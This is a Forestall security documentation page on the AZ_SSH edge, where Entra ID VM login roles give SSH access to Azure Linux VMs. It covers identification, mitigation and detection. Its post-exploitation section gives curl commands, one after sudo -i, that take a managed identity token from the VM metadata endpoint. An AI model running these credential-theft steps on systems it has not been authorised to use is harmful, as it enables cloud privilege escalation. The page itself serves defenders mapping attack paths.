> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/azure/az_ssh.md).

# AZ\_SSH

## Summary

|                            |                                                                                                                                                   |
| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Forestall ACL Alias**    | AZ\_SSH                                                                                                                                           |
| **Azure Alias**            | Virtual Machine User Login / SSH with Entra ID                                                                                                    |
| **Affected Object Types**  | Linux Virtual Machines                                                                                                                            |
| **Exploitation Certainty** | Certain                                                                                                                                           |
| **Azure RBAC Roles**       | Virtual Machine User Login (`fb879df8-f326-4884-b1cf-06f3ad86be52`), Virtual Machine Administrator Login (`1c0163c0-47e6-4577-8991-ea5c82e286e4`) |

**Custom Role Data Actions:**

* `Microsoft.Compute/virtualMachines/login/action`
* `Microsoft.Compute/virtualMachines/loginAsAdmin/action`

**Filter:** Linux VMs with the `AADSSHLoginForLinux` extension and a system-assigned managed identity

## Description

`AZ_SSH` represents the ability to **SSH into Linux Azure VMs using Microsoft Entra ID credentials**. This is a data-plane permission that enables interactive shell access without requiring local VM credentials.

Prerequisites for this edge:

* The VM must have the **AADSSHLoginForLinux** extension installed.
* The VM must have a **system-assigned managed identity** enabled.
* The principal must have **Virtual Machine User Login** (standard user) or **Virtual Machine Administrator Login** (sudo) role.

| Role                                | Access Level               |
| ----------------------------------- | -------------------------- |
| Virtual Machine User Login          | Standard user shell access |
| Virtual Machine Administrator Login | Root/sudo access           |

This edge is distinct from:

* **AZ\_EXECUTE\_COMMAND** - Uses RunCommand API, no interactive session.
* **AZ\_VM\_ADMIN\_LOGIN** - Broader scope including RDP to Windows.

## Identification

### PowerShell (Az Module)

```powershell
Connect-AzAccount

# List Virtual Machine User Login assignments
Get-AzRoleAssignment -RoleDefinitionName "Virtual Machine User Login" |
    Select-Object DisplayName, SignInName, ObjectType, Scope |
    Format-Table -AutoSize

# List Virtual Machine Administrator Login assignments
Get-AzRoleAssignment -RoleDefinitionName "Virtual Machine Administrator Login" |
    Select-Object DisplayName, SignInName, ObjectType, Scope |
    Format-Table -AutoSize

# Find Linux VMs with the Microsoft Entra SSH extension
Get-AzVM | ForEach-Object {
    $extensions = Get-AzVMExtension -ResourceGroupName $_.ResourceGroupName -VMName $_.Name
    $aadExt = $extensions | Where-Object { $_.Name -eq "AADSSHLoginForLinux" }
    if ($aadExt) {
        [PSCustomObject]@{
            VMName = $_.Name
            ResourceGroup = $_.ResourceGroupName
            OSType = $_.StorageProfile.OsDisk.OsType
            AADExtension = $aadExt.Name
            Identity = $_.Identity.Type
        }
    }
} | Format-Table -AutoSize
```

### Azure Portal

1. Open **Azure Portal** -> navigate to the target **Linux VM**.
2. Go to **Extensions + applications** -> verify **AADSSHLoginForLinux** is installed.
3. Go to **Identity** -> verify System assigned identity is enabled.
4. Go to **Access control (IAM)** -> check for login role assignments.

## Exploitation

### SSH with Entra ID Credentials as admin

```bash
# Install the Azure CLI SSH extension
az extension add --name ssh

# Login to Azure
az login

# SSH to the Linux VM using Entra credentials
az ssh vm --resource-group "<RGName>" --name "<VMName>"
```

![SSH to a Linux VM as administrator with Azure CLI](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-e1faf9a2e9fac28ea8c1e4227bcff50748d9b2a7%2Fazure-az_ssh-az-tools-ssh-to-vm-as-admin.png?alt=media)

### ssh using Entra ID Credentials as user

```bash
az ssh vm --resource-group "<RGName>" --name "<VMName>"
```

![SSH to a Linux VM as user with Azure CLI](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-97b3437da8309ba705ac7669aca9341f3af58f83%2Fazure-az_ssh-az-tools-ssh-to-vm-as-user.png?alt=media)

### Post-Exploitation - Standard User

With Virtual Machine User Login (standard user access):

```bash
# Access managed identity token
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```

![Request a managed identity token from a Linux VM](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-339062feca9ecd4e3ea58ad435d898e2dbd732eb%2Fazure-az_ssh-post-exploitation-get-managed-identity-token.png?alt=media)

### Post-Exploitation - Administrator

With Virtual Machine Administrator Login (sudo access):

```bash
# Escalate to root
sudo -i

# Steal managed identity token with elevated context
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```

![ssh using az tools](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-339062feca9ecd4e3ea58ad435d898e2dbd732eb%2Fazure-az_ssh-post-exploitation-get-managed-identity-token.png?alt=media)

## Mitigation

1. **Minimize login role assignments**
   * Remove Virtual Machine User/Administrator Login from identities that dont need interactive access.
   * Use **AZ\_EXECUTE\_COMMAND** (RunCommand) for automated tasks instead.
2. **Use Virtual Machine User Login instead of Administrator Login**
   * Grant standard user access unless admin is specifically required.
3. **Restrict Microsoft Entra SSH extension deployment**
   * Only deploy the extension on VMs that require Entra-based authentication.
   * Use Azure Policy to audit extension deployments.
4. **Network security**
   * Restrict SSH (port 22) access via NSGs.
   * Use Azure Bastion for secure access without public endpoints.
   * Enable Just-in-Time VM access.
5. **Enable PIM for just-in-time access**
   * Configure eligible assignments with approval requirements.

## Detection

Use the Azure Portal and Microsoft Entra admin center:

1. In **Azure Portal**, open the target **Linux VM**.
2. Open **Activity log** and filter **Operation** for `login` or `loginAsAdmin`.
3. Review `Microsoft.Compute/virtualMachines/login/action` and `Microsoft.Compute/virtualMachines/loginAsAdmin/action` events.
4. Open **Microsoft Entra ID** -> **Sign-in logs** and filter **Application** for **Azure Linux VM Sign-In**.
5. Review **User**, **IP address**, **Location**, **Date**, and **Status** for unexpected SSH logins.
6. On the VM blade, open **Monitoring** -> **Metrics** and review **Network In** and **Network Out** during the same timeframe.

## References

* <https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login>
* <https://learn.microsoft.com/en-us/entra/identity/devices/howto-vm-sign-in-azure-ad-linux>
* <https://learn.microsoft.com/en-us/cli/azure/ssh>
